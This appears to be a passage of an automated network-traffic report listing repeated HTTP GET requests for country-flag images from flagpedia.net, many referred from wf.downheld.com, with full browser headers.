Source: global traffic	HTTP traffic detected: GET /data/flags/w20/gq.png HTTP/1.1Host: flagpedia.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/fi.png HTTP/1.1Host: flagpedia.netConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://wf.downheld.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/fr.png HTTP/1.1Host: flagpedia.netConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://wf.downheld.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/ga.png HTTP/1.1Host: flagpedia.netConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://wf.downheld.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/gm.png HTTP/1.1Host: flagpedia.netConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://wf.downheld.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/er.png HTTP/1.1Host: flagpedia.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/ee.png HTTP/1.1Host: flagpedia.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/ge.png HTTP/1.1Host: flagpedia.netConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://wf.downheld.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/sz.png HTTP/1.1Host: flagpedia.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/et.png HTTP/1.1Host: flagpedia.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/de.png HTTP/1.1Host: flagpedia.netConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://wf.downheld.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/fi.png HTTP/1.1Host: flagpedia.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/gh.png HTTP/1.1Host: flagpedia.netConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://wf.downheld.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/fj.png HTTP/1.1Host: flagpedia.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/gr.png HTTP/1.1Host: flagpedia.netConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://wf.downheld.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/gd.png HTTP/1.1Host: flagpedia.netConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://wf.downheld.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/gt.png HTTP/1.1Host: flagpedia.netConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://wf.downheld.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/fr.png HTTP/1.1Host: flagpedia.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/ga.png HTTP/1.1Host: flagpedia.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/gm.png HTTP/1.1Host: flagpedia.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/ge.png HTTP/1.1Host: flagpedia.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/gn.png HTTP/1.1Host: flagpedia.netConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://wf.downheld.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/de.png HTTP/1.1Host: flagpedia.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/gw.png HTTP/1.1Host: flagpedia.netConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://wf.downheld.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/gr.png HTTP/1.1Host: flagpedia.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/gy.png HTTP/1.1Host: flagpedia.netConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://wf.downheld.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/ht.png HTTP/1.1Host: flagpedia.netConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://wf.downheld.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/hn.png HTTP/1.1Host: flagpedia.netConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://wf.downheld.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/gd.png HTTP/1.1Host: flagpedia.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/gt.png HTTP/1.1Host: flagpedia.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/gh.png HTTP/1.1Host: flagpedia.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/hu.png HTTP/1.1Host: flagpedia.netConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://wf.downheld.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/gn.png HTTP/1.1Host: flagpedia.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/is.png HTTP/1.1Host: flagpedia.netConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://wf.downheld.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/gw.png HTTP/1.1Host: flagpedia.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/ht.png HTTP/1.1Host: flagpedia.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/in.png HTTP/1.1Host: flagpedia.netConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://wf.downheld.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/id.png HTTP/1.1Host: flagpedia.netConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://wf.downheld.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/gy.png HTTP/1.1Host: flagpedia.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/hn.png HTTP/1.1Host: flagpedia.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/ir.png HTTP/1.1Host: flagpedia.netConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://wf.downheld.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/iq.png HTTP/1.1Host: flagpedia.netConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://wf.downheld.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/ie.png HTTP/1.1Host: flagpedia.netConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://wf.downheld.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/il.png HTTP/1.1Host: flagpedia.netConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://wf.downheld.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/hu.png HTTP/1.1Host: flagpedia.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/it.png HTTP/1.1Host: flagpedia.netConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://wf.downheld.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/is.png HTTP/1.1Host: flagpedia.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/id.png HTTP/1.1Host: flagpedia.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
